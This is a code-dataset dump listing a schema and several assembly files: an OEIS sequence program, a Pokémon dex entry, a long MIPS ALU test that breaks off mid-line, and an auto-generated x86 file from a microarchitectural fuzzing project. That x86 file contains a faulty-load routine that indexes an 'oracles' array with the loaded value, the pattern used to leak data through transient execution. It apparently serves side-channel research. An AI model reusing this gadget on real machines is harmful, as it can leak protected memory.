hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
c2c9ae3f37cb91d674f22ff7d0c096bad1baca3e
465
asm
Assembly
oeis/135/A135675.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/135/A135675.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/135/A135675.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A135675: a(n) = ceiling(n^(4/3) - n). ; 0,1,2,3,4,5,7,8,10,12,14,16,18,20,22,25,27,30,32,35,37,40,43,46,49,52,54,58,61,64,67,70,73,77,80,83,87,90,94,97,101,104,108,112,116,119,123,127,131,135,139,143,147,151,155,159,163,167,171,175,180,184,188,192,197,201,206,210,215,219,223,228,233,237,242,246,251,256,260,265,270,275,280,284,289,294,299,304,309,314,319,324,329,334,339,344,349,354,359,365 mov $2,$0 seq $0,134917 ; a(n) = ceiling(n^(4/3)). sub $0,$2 sub $0,1
58.125
353
0.664516
fb6b69da40f22b069838f13e87bc1935ff37f083
7,422
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1392.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1392.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1392.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r15 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0xb513, %rsi lea addresses_WC_ht+0x8b5e, %rdi nop nop nop dec %r9 mov $85, %rcx rep movsb nop add %r15, %r15 lea addresses_A_ht+0x10d83, %r13 nop nop add %rdi, %rdi movb (%r13), %cl nop add $62779, %rsi lea addresses_WT_ht+0xa6c3, %rsi lea addresses_A_ht+0x1124b, %rdi nop nop nop nop nop sub $24359, %r12 mov $116, %rcx rep movsl nop cmp %r13, %r13 lea addresses_normal_ht+0x8907, %rdi xor $24719, %rsi movl $0x61626364, (%rdi) nop nop add $59182, %r12 lea addresses_WT_ht+0x186b3, %r15 mfence movups (%r15), %xmm5 vpextrq $1, %xmm5, %rdi nop nop nop nop nop cmp %r13, %r13 lea addresses_D_ht+0x1ada3, %rsi lea addresses_D_ht+0x1dd03, %rdi add $56716, %rbx mov $37, %rcx rep movsl nop nop nop nop cmp %r13, %r13 lea addresses_A_ht+0x1e903, %rdi nop and %rsi, %rsi mov (%rdi), %r13w nop inc %r13 lea addresses_A_ht+0x7803, %rcx nop inc %r9 and $0xffffffffffffffc0, %rcx vmovntdqa (%rcx), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %r15 nop nop nop nop and $17012, %r9 lea addresses_A_ht+0x18603, %r9 nop and $19748, %r12 mov (%r9), %edi nop nop nop xor %r15, %r15 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %rax push %rbx push %rdi push %rsi // Store lea addresses_WT+0xa22b, %rax nop and $37288, %rbx mov $0x5152535455565758, %r15 movq %r15, %xmm2 movups %xmm2, (%rax) and %r15, %r15 // Store lea addresses_WT+0x1f603, %rdi nop nop nop and $51315, %rsi movl $0x51525354, (%rdi) nop nop cmp %rdi, %rdi // Store lea addresses_PSE+0x1c103, %r11 nop nop nop nop add $6665, %rbx movb $0x51, (%r11) nop nop nop sub %r10, %r10 // Store lea addresses_A+0x1301b, %rsi nop cmp $39691, %r15 mov $0x5152535455565758, %r11 movq %r11, %xmm4 vmovups %ymm4, (%rsi) nop nop nop nop add $35916, %r11 // Load lea addresses_PSE+0x1ceba, %rsi nop nop nop cmp %r10, %r10 mov (%rsi), %r15d nop nop nop nop add $20661, %rax // Faulty Load lea addresses_UC+0x5d03, %rsi nop nop nop nop dec %rdi mov (%rsi), %bx lea oracles, %rdi and $0xff, %rbx shlq $12, %rbx mov (%rdi,%rbx,1), %rbx pop %rsi pop %rdi pop %rbx pop %rax pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WT', 'AVXalign': False, 'size': 16}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WT', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A', 'AVXalign': False, 'size': 32}} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': True, 'size': 4}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 1}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}} {'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'same': True, 'congruent': 1, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 11, 'type': 'addresses_D_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'} {'src': {'NT': True, 'same': False, 'congruent': 8, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': True, 'same': False, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.361111
2,999
0.653597
0e729dd59ba36b8932cf80bada4e1fd93e7e31ad
178
asm
Assembly
data/pokemon/dex_entries/bomsheal.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
data/pokemon/dex_entries/bomsheal.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
data/pokemon/dex_entries/bomsheal.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
3
2021-01-15T18:45:40.000Z
2021-10-16T03:35:27.000Z
db "JUGGLER@" ; species name db "The flaming stone" next "it balances is" next "made of smaller" page "stones stuck to" next "eachother with" next "flammable mucus.@"
17.8
29
0.685393
33cb6c7ce765cc93e020703e26e394320d2d6500
12,500
asm
Assembly
P6/data_P6_2/ALUTest69.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
1
2022-01-23T09:24:47.000Z
2022-01-23T09:24:47.000Z
P6/data_P6_2/ALUTest69.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
null
null
null
P6/data_P6_2/ALUTest69.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
null
null
null
lhu $3,14($0) lbu $3,7($0) sra $4,$4,12 sh $6,8($0) lh $4,16($0) subu $3,$3,$3 xori $3,$1,53111 sllv $5,$5,$3 subu $1,$3,$3 sll $4,$6,2 srl $3,$4,17 sltu $3,$3,$3 sra $6,$6,20 nor $6,$1,$3 sll $3,$3,9 xori $3,$5,21854 xor $5,$4,$3 ori $3,$1,11884 addiu $1,$1,30181 slt $3,$4,$3 nor $1,$3,$3 subu $3,$4,$3 ori $3,$0,35026 xori $6,$2,43332 xor $5,$1,$3 lhu $4,4($0) srav $5,$1,$3 addiu $3,$3,-9625 subu $6,$1,$3 sltu $1,$3,$3 subu $4,$1,$3 srl $5,$1,29 addiu $3,$3,27084 sh $4,12($0) subu $4,$3,$3 lhu $1,12($0) addu $3,$1,$3 subu $3,$4,$3 lh $3,8($0) subu $1,$1,$3 lhu $6,4($0) or $4,$3,$3 slti $3,$3,-3654 or $5,$2,$3 lbu $5,3($0) lh $3,0($0) ori $5,$3,15371 sltiu $1,$3,31399 addu $4,$4,$3 srl $0,$6,8 slt $1,$3,$3 ori $5,$5,46909 sllv $3,$4,$3 srl $1,$5,9 lw $3,0($0) sb $1,6($0) srav $4,$3,$3 addu $3,$4,$3 sltu $0,$5,$3 lbu $4,1($0) srlv $4,$3,$3 sllv $0,$0,$3 and $4,$0,$3 xori $3,$3,30491 and $3,$4,$3 sb $3,8($0) lbu $1,12($0) xori $3,$3,19358 sll $5,$2,13 lhu $5,16($0) xori $5,$5,23113 sw $3,0($0) slti $0,$6,13122 sltu $1,$4,$3 addiu $3,$3,20299 addiu $4,$0,-27025 sra $1,$3,16 srl $3,$3,18 subu $4,$4,$3 andi $3,$3,47804 ori $1,$3,7697 sw $0,12($0) srav $4,$1,$3 addu $5,$4,$3 addu $0,$3,$3 sh $4,14($0) sllv $3,$6,$3 nor $0,$5,$3 sllv $0,$4,$3 and $3,$3,$3 lw $0,12($0) srav $4,$4,$3 lbu $4,3($0) srlv $0,$3,$3 lhu $5,14($0) addu $3,$1,$3 subu $4,$3,$3 sh $3,12($0) andi $5,$1,63051 addu $0,$0,$3 nor $4,$4,$3 slt $5,$3,$3 lbu $0,14($0) lhu $4,8($0) addiu $3,$3,-6113 and $5,$3,$3 and $1,$1,$3 ori $5,$6,33188 addiu $3,$5,-7856 addiu $1,$3,-27873 sltiu $0,$0,12556 addu $3,$4,$3 subu $4,$3,$3 andi $4,$1,3767 sll $1,$1,27 sll $6,$5,0 xor $4,$4,$3 andi $3,$3,2363 addu $4,$3,$3 and $5,$4,$3 srl $3,$3,2 lhu $0,10($0) lb $3,0($0) sw $3,0($0) sb $1,3($0) nor $4,$5,$3 sra $0,$4,17 addiu $5,$1,-32132 sra $6,$3,20 ori $3,$4,782 sll $3,$3,21 subu $3,$3,$3 sllv $5,$5,$3 addiu $6,$6,-23815 slt $3,$1,$3 sllv $4,$3,$3 lbu $0,15($0) sb $5,13($0) xori $5,$5,25164 ori $0,$4,55905 slt $3,$5,$3 addiu $3,$3,29224 xor $6,$6,$3 sllv $4,$5,$3 nor $5,$6,$3 andi $1,$3,11215 sllv $5,$3,$3 sll $4,$3,13 sb $1,1($0) addiu $4,$5,14352 lb $3,4($0) sh $5,0($0) lhu $3,0($0) srl $5,$1,17 sw $6,8($0) xori $5,$5,31567 subu $6,$6,$3 lbu $5,10($0) addiu $5,$4,17451 xori $6,$6,4274 sltu $3,$4,$3 lh $0,14($0) sltiu $4,$5,-28243 sll $1,$1,5 slt $3,$6,$3 srl $0,$4,2 srlv $4,$1,$3 sllv $3,$3,$3 xor $4,$5,$3 subu $3,$3,$3 sltu $3,$0,$3 subu $3,$3,$3 lw $4,16($0) slt $6,$5,$3 sltiu $6,$3,-6337 sh $6,6($0) slti $4,$2,-17138 ori $5,$0,53623 sltiu $1,$0,9046 sltu $1,$0,$3 sh $5,14($0) xori $3,$1,24237 lbu $4,9($0) xori $1,$1,56401 ori $1,$5,64742 nor $4,$0,$3 slti $0,$3,24033 ori $6,$4,13055 subu $5,$5,$3 slt $3,$3,$3 addiu $3,$3,-3255 addiu $3,$3,-24318 srl $3,$4,7 or $3,$3,$3 subu $4,$4,$3 addiu $4,$4,30462 andi $4,$2,22348 sh $3,10($0) slt $4,$2,$3 sb $1,13($0) sllv $3,$1,$3 srav $4,$2,$3 xori $1,$3,35851 xori $4,$4,17622 sra $1,$3,13 srav $4,$6,$3 nor $0,$4,$3 sh $4,0($0) xori $1,$3,16681 sw $3,8($0) lhu $1,14($0) srl $5,$5,18 sll $6,$1,19 sh $5,16($0) sra $3,$0,9 sb $5,6($0) xor $3,$1,$3 lb $4,1($0) srav $1,$1,$3 addu $4,$4,$3 sh $4,14($0) sllv $4,$4,$3 sllv $4,$6,$3 ori $4,$1,36935 addiu $4,$4,32348 slt $3,$3,$3 lbu $3,8($0) sw $3,16($0) sh $3,8($0) subu $4,$0,$3 sw $4,8($0) sb $1,4($0) lbu $1,12($0) lbu $5,4($0) slti $1,$3,-14083 subu $4,$1,$3 sltu $3,$2,$3 sw $3,0($0) and $5,$2,$3 sltu $4,$5,$3 lb $5,0($0) and $3,$3,$3 or $4,$1,$3 or $5,$1,$3 addu $6,$6,$3 subu $4,$5,$3 nor $5,$1,$3 xori $0,$0,64164 sw $4,12($0) addiu $3,$0,6807 addiu $6,$3,30687 subu $1,$3,$3 lb $1,5($0) nor $3,$3,$3 addu $1,$1,$3 srl $6,$4,31 sltu $1,$5,$3 addu $3,$0,$3 sllv $3,$5,$3 xor $4,$4,$3 addiu $3,$4,9725 lbu $6,2($0) sw $0,4($0) lhu $3,0($0) addiu $0,$5,-11574 lh $0,16($0) lh $3,6($0) subu $5,$6,$3 sb $5,0($0) addiu $4,$4,7650 lbu $1,16($0) lb $4,9($0) sllv $1,$6,$3 addiu $3,$3,-28983 or $3,$3,$3 slt $1,$1,$3 slti $6,$1,-21673 addiu $1,$3,-26579 srav $4,$6,$3 lbu $5,0($0) lw $5,12($0) sllv $3,$3,$3 addu $5,$5,$3 lh $4,8($0) slt $0,$0,$3 sllv $1,$1,$3 addiu $4,$5,-28992 sw $0,4($0) sw $5,12($0) srl $6,$6,6 subu $3,$3,$3 sw $5,8($0) sll $4,$3,6 sb $6,11($0) addu $4,$5,$3 lhu $5,2($0) srlv $0,$4,$3 slti $3,$5,25494 sw $3,0($0) sll $3,$4,20 addu $4,$0,$3 srl $3,$4,17 or $3,$3,$3 sb $3,1($0) subu $3,$4,$3 andi $3,$1,56903 subu $5,$3,$3 sltu $3,$5,$3 srl $5,$3,27 or $3,$0,$3 addu $3,$5,$3 addu $3,$1,$3 sh $4,2($0) xor $1,$1,$3 and $3,$3,$3 slti $1,$3,-25681 srl $3,$2,3 sh $6,12($0) sltu $4,$4,$3 slt $4,$4,$3 xor $1,$1,$3 nor $1,$1,$3 lh $0,8($0) nor $3,$5,$3 or $4,$4,$3 sra $4,$4,31 andi $6,$4,45015 lhu $5,16($0) andi $4,$0,49607 lh $6,16($0) addiu $0,$4,-16692 ori $0,$0,62001 slti $5,$5,-6533 addu $1,$3,$3 subu $3,$3,$3 lbu $3,14($0) lbu $6,15($0) sltiu $1,$3,-24765 addu $5,$5,$3 addu $3,$6,$3 sllv $3,$1,$3 lbu $4,8($0) subu $3,$4,$3 addu $5,$5,$3 slti $5,$5,23596 srav $5,$1,$3 slt $3,$4,$3 andi $5,$3,3300 slti $3,$3,3469 andi $3,$4,52525 sllv $4,$2,$3 sll $3,$4,24 xor $0,$0,$3 subu $4,$5,$3 addu $4,$4,$3 sh $5,6($0) srl $4,$6,12 sltiu $3,$4,30372 nor $1,$1,$3 sll $4,$3,8 lh $1,12($0) and $3,$1,$3 lh $3,6($0) sltiu $0,$3,-17896 sh $6,6($0) lhu $1,12($0) subu $4,$3,$3 sltiu $4,$1,-17400 ori $5,$1,27327 subu $4,$4,$3 srl $3,$3,9 lb $0,1($0) sb $1,2($0) lw $3,8($0) sllv $1,$0,$3 slti $1,$1,-1106 slt $1,$1,$3 lhu $0,16($0) slti $3,$3,5012 andi $4,$5,4742 lh $0,4($0) andi $5,$3,53524 slt $3,$0,$3 sltiu $4,$6,-20533 slt $1,$4,$3 sll $1,$6,28 lhu $3,16($0) addiu $3,$3,26110 sllv $0,$0,$3 addu $5,$5,$3 addiu $3,$2,16826 addu $6,$4,$3 lw $4,4($0) nor $4,$3,$3 srlv $3,$4,$3 addu $3,$4,$3 srlv $5,$2,$3 sll $4,$3,24 lw $3,0($0) lh $6,16($0) addu $4,$4,$3 sll $3,$4,0 xor $5,$5,$3 lb $4,2($0) srl $0,$3,14 srl $5,$5,9 xor $5,$3,$3 srlv $0,$1,$3 ori $5,$6,48780 sh $4,8($0) sltu $3,$1,$3 addu $3,$1,$3 xor $1,$3,$3 lb $4,16($0) lb $3,6($0) lw $1,8($0) sw $3,0($0) nor $4,$4,$3 xor $3,$3,$3 and $3,$6,$3 xor $4,$1,$3 sltiu $1,$4,6691 sh $5,12($0) andi $5,$4,10918 or $5,$0,$3 sltu $6,$1,$3 sh $4,6($0) lb $4,14($0) srav $5,$1,$3 addiu $5,$1,21808 addiu $1,$5,9615 xori $4,$0,2233 lb $6,7($0) sb $6,3($0) srl $6,$4,8 lh $1,2($0) subu $3,$5,$3 ori $3,$3,37913 addu $4,$1,$3 sw $3,12($0) lbu $3,2($0) lb $0,9($0) slti $3,$4,14945 sllv $3,$3,$3 srlv $3,$6,$3 ori $4,$3,21942 srlv $1,$1,$3 lbu $1,14($0) and $5,$1,$3 slt $3,$3,$3 lb $6,4($0) slt $1,$0,$3 lh $1,6($0) lw $5,0($0) srav $5,$5,$3 xori $5,$5,60766 sw $1,4($0) lb $5,16($0) lw $4,4($0) xori $6,$6,888 xori $0,$3,24814 srl $1,$4,27 sra $3,$3,24 sh $4,14($0) lbu $3,7($0) addu $3,$4,$3 srav $5,$4,$3 lbu $3,11($0) sllv $4,$4,$3 lw $3,16($0) addiu $3,$6,-17502 sltu $6,$3,$3 sltiu $3,$4,14576 and $1,$4,$3 srl $3,$0,31 sllv $3,$5,$3 lh $3,14($0) andi $3,$3,57635 addiu $1,$4,14998 sll $4,$0,8 lbu $1,6($0) srav $1,$4,$3 sb $5,12($0) addu $4,$5,$3 sra $1,$3,6 sllv $1,$3,$3 addu $0,$3,$3 addu $5,$5,$3 lhu $5,14($0) lbu $1,6($0) addu $5,$4,$3 addu $3,$5,$3 sw $4,0($0) and $3,$1,$3 addiu $0,$6,13931 lw $5,0($0) lbu $4,13($0) sra $0,$5,29 slti $4,$4,-30258 lw $4,12($0) slt $1,$3,$3 lh $4,0($0) lhu $4,12($0) and $1,$5,$3 xori $3,$3,511 addiu $6,$1,-27304 addu $0,$0,$3 addu $4,$3,$3 sltu $4,$0,$3 srl $1,$4,21 slti $5,$4,19777 slti $6,$6,17806 xor $3,$3,$3 lh $4,16($0) xori $4,$4,38322 or $3,$4,$3 sltiu $1,$5,31157 sltu $3,$3,$3 and $1,$4,$3 subu $4,$3,$3 subu $1,$5,$3 ori $4,$6,56504 lbu $3,4($0) sra $6,$3,16 sltu $0,$0,$3 lh $1,0($0) srav $6,$6,$3 sw $3,8($0) srl $6,$6,23 sltiu $3,$4,-22102 lbu $1,3($0) xor $6,$3,$3 lbu $6,3($0) lhu $2,12($0) slti $3,$4,-8865 nor $3,$3,$3 sra $5,$3,17 sb $1,13($0) subu $1,$3,$3 ori $5,$1,15308 srav $3,$1,$3 lhu $3,16($0) sw $4,4($0) ori $3,$1,26161 sra $1,$5,5 lw $6,12($0) addu $3,$3,$3 andi $4,$3,60114 addiu $4,$6,5234 sltiu $5,$3,15613 lbu $4,4($0) sll $5,$4,13 addu $0,$3,$3 subu $4,$1,$3 subu $3,$3,$3 lbu $4,11($0) sw $3,4($0) and $1,$1,$3 srav $0,$4,$3 addu $3,$5,$3 sltu $4,$1,$3 sra $5,$5,24 sh $1,8($0) nor $4,$6,$3 lhu $3,16($0) lh $5,10($0) sllv $3,$3,$3 nor $6,$5,$3 addu $3,$2,$3 and $5,$3,$3 addiu $3,$6,-4812 xori $4,$4,11411 addu $3,$3,$3 andi $4,$0,32303 subu $1,$6,$3 subu $6,$5,$3 sw $5,8($0) subu $3,$1,$3 xor $3,$6,$3 addu $3,$3,$3 xor $3,$3,$3 sltu $3,$3,$3 nor $1,$5,$3 sra $0,$1,12 subu $4,$1,$3 lw $3,16($0) subu $0,$0,$3 lw $0,12($0) srlv $3,$4,$3 lh $5,16($0) and $3,$3,$3 addu $4,$6,$3 and $4,$4,$3 ori $1,$4,54848 sltiu $3,$3,14660 subu $3,$3,$3 xori $5,$2,56636 sltiu $4,$4,171 addiu $3,$5,-20603 lhu $3,10($0) sllv $3,$4,$3 ori $5,$1,61311 lbu $4,5($0) addu $1,$6,$3 addiu $5,$6,-20834 xori $3,$1,48613 sltu $3,$1,$3 andi $5,$4,4733 srav $3,$4,$3 xori $6,$3,38254 xor $5,$5,$3 lhu $4,2($0) sll $4,$4,3 and $3,$3,$3 or $4,$4,$3 sltiu $4,$3,25711 sw $5,0($0) xor $4,$5,$3 addiu $1,$1,-7548 sh $0,0($0) lhu $3,10($0) sltu $3,$5,$3 lhu $1,6($0) sra $1,$5,22 xor $5,$5,$3 subu $3,$0,$3 subu $3,$3,$3 slti $1,$3,-16119 sllv $3,$1,$3 xor $5,$5,$3 srlv $3,$1,$3 sll $3,$3,3 sltiu $4,$4,-8711 addiu $3,$3,8092 xor $3,$0,$3 subu $4,$4,$3 addu $1,$1,$3 lbu $2,6($0) andi $0,$0,14759 sltiu $1,$1,15414 and $6,$4,$3 slt $3,$5,$3 sw $4,4($0) sh $3,0($0) xori $3,$3,63149 lbu $0,7($0) srav $3,$6,$3 lw $5,16($0) addiu $3,$1,1356 sh $6,0($0) ori $3,$3,26493 lh $3,2($0) andi $5,$5,22784 lbu $1,14($0) srav $3,$5,$3 nor $0,$3,$3 andi $5,$5,51047 sb $3,10($0) addiu $0,$3,-1272 sltu $3,$4,$3 xor $4,$4,$3 or $4,$4,$3 sb $5,0($0) addu $6,$6,$3 addiu $6,$3,-27141 sh $3,8($0) lw $5,16($0) srav $6,$4,$3 ori $0,$5,48472 andi $0,$1,48407 srl $3,$3,0 sra $3,$3,22 lh $4,4($0) srl $4,$4,19 srl $1,$3,13 slt $3,$4,$3 subu $1,$4,$3 or $4,$5,$3 slti $3,$3,5747 ori $5,$1,1395 addiu $4,$3,6472 and $0,$3,$3 subu $3,$1,$3 addiu $4,$3,-13864 subu $3,$4,$3 and $1,$0,$3 srlv $4,$4,$3 lhu $1,16($0) addu $6,$1,$3 and $6,$0,$3 slti $3,$3,-17057 lh $4,4($0) slti $4,$5,5516 lhu $4,6($0) slti $5,$5,29079 sra $4,$3,8 lw $1,4($0) nor $6,$6,$3 srav $5,$4,$3 subu $4,$3,$3 sll $3,$4,19 sh $5,16($0) lb $4,16($0) lb $4,11($0) slt $4,$3,$3 subu $0,$3,$3 sra $0,$0,29 sra $4,$6,26 sllv $6,$6,$3 slt $6,$6,$3 sltu $2,$2,$3 sllv $4,$5,$3 andi $1,$1,8557 sltu $1,$4,$3 sllv $4,$3,$3 lb $0,7($0) srl $4,$3,15 sh $4,12($0) sllv $4,$6,$3 or $4,$0,$3 xor $4,$4,$3 sltiu $4,$0,-7130 addiu $6,$1,21450 sw $4,8($0) ori $3,$5,39571 or $4,$4,$3 lb $3,8($0) addiu $3,$3,-25713 addiu $4,$5,26368 sh $4,2($0) sb $1,2($0) sb $6,0($0) addu $1,$1,$3 or $4,$3,$3 lb $5,12($0) sll $4,$4,0 srav $1,$3,$3 sltu $4,$3,$3 ori $6,$4,5318 xori $3,$3,15448 lhu $4,16($0) sltiu $2,$2,-9605 and $3,$3,$3 sw $0,0($0) sllv $0,$3,$3 nor $5,$1,$3 and $3,$3,$3 lbu 